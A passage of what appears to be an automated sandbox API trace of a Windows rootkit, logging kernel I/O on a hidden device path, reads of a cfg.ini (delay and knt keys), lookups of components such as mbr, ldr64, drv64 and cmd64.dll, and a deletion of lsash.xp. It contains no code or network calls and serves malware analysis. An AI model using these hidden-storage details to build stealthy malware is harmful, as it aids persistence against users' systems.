ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.590] KeLeaveCriticalRegion () [0121.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.590] KeEnterCriticalRegion () [0121.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.590] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.590] IdePortDispatch () returned 0x103 [0121.590] KeWaitForMutexObject () returned 0x0 [0121.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.591] KeLeaveCriticalRegion () [0121.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.591] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.591] KeEnterCriticalRegion () [0121.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5a000 [0121.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.591] IdePortDispatch () returned 0x103 [0121.591] KeWaitForMutexObject () returned 0x0 [0121.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.591] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.591] IdePortDispatch () returned 0x103 [0121.591] KeWaitForMutexObject () returned 0x0 [0121.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.591] KeLeaveCriticalRegion () [0121.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.592] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.592] KeEnterCriticalRegion () [0121.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] KeLeaveCriticalRegion () [0121.592] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.592] KeEnterCriticalRegion () [0121.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.592] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] KeLeaveCriticalRegion () [0121.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.592] KeEnterCriticalRegion () [0121.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] ExFreePoolWithTag (P=0xfffffa8003bd65c0, Tag=0x0) [0121.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] KeLeaveCriticalRegion () [0121.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.592] ReleaseMutex (hMutex=0xf0) returned 1 [0121.592] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.592] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.592] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.592] KeEnterCriticalRegion () [0121.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.592] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.592] IdePortDispatch () returned 0x103 [0121.592] KeWaitForMutexObject () returned 0x0 [0121.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.593] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.593] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.593] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.593] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.593] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.593] KeLeaveCriticalRegion () [0121.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.593] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.593] KeEnterCriticalRegion () [0121.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.593] KeLeaveCriticalRegion () [0121.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.593] KeEnterCriticalRegion () [0121.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.593] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.593] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.593] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.593] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.593] IdePortDispatch () returned 0x103 [0121.593] KeWaitForMutexObject () returned 0x0 [0121.593] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.593] KeLeaveCriticalRegion () [0121.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.593] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.594] KeEnterCriticalRegion () [0121.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.594] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5b000 [0121.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.594] IdePortDispatch () returned 0x103 [0121.594] KeWaitForMutexObject () returned 0x0 [0121.594] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.594] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.594] IdePortDispatch () returned 0x103 [0121.594] KeWaitForMutexObject () returned 0x0 [0121.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.594] KeLeaveCriticalRegion () [0121.594] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.595] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.595] KeEnterCriticalRegion () [0121.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] KeLeaveCriticalRegion () [0121.595] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.595] KeEnterCriticalRegion () [0121.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] KeLeaveCriticalRegion () [0121.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.595] KeEnterCriticalRegion () [0121.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] KeLeaveCriticalRegion () [0121.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.595] ReleaseMutex (hMutex=0xf0) returned 1 [0121.595] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.595] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.595] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.595] KeEnterCriticalRegion () [0121.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.595] IdePortDispatch () returned 0x103 [0121.596] KeWaitForMutexObject () returned 0x0 [0121.596] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.596] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.596] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.596] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.596] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.596] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.596] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.596] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.596] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.596] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.596] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.596] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.596] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.596] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.596] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.596] KeLeaveCriticalRegion () [0121.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.596] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.596] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.596] KeEnterCriticalRegion () [0121.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.596] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.596] IdePortDispatch () returned 0x103 [0121.596] KeWaitForMutexObject () returned 0x0 [0121.596] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.596] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.596] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.596] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.596] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.597] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.597] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.597] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.597] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.597] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.597] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.597] KeLeaveCriticalRegion () [0121.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.597] ReleaseMutex (hMutex=0x100) returned 1 [0121.597] Sleep (dwMilliseconds=0x2bf20) [0121.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bad15f0, dwHighDateTime=0x1d24fa4)) [0121.605] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.605] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.605] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.605] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.605] KeEnterCriticalRegion () [0121.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.605] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.605] IdePortDispatch () returned 0x103 [0121.605] KeWaitForMutexObject () returned 0x0 [0121.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.605] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.605] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.605] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.605] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.605] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc53c0 [0121.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.605] KeLeaveCriticalRegion () [0121.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.606] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.606] KeEnterCriticalRegion () [0121.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.606] KeLeaveCriticalRegion () [0121.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.606] KeEnterCriticalRegion () [0121.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.606] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.606] IdePortDispatch () returned 0x103 [0121.606] KeWaitForMutexObject () returned 0x0 [0121.606] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.606] KeLeaveCriticalRegion () [0121.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.606] KeEnterCriticalRegion () [0121.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.606] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5e000 [0121.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.606] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.606] IdePortDispatch () returned 0x103 [0121.606] KeWaitForMutexObject () returned 0x0 [0121.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.607] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.607] IdePortDispatch () returned 0x103 [0121.607] KeWaitForMutexObject () returned 0x0 [0121.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.607] KeLeaveCriticalRegion () [0121.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.607] KeEnterCriticalRegion () [0121.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.607] KeLeaveCriticalRegion () [0121.607] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.608] KeEnterCriticalRegion () [0121.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.608] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.608] FsRtlFastUnlockAll 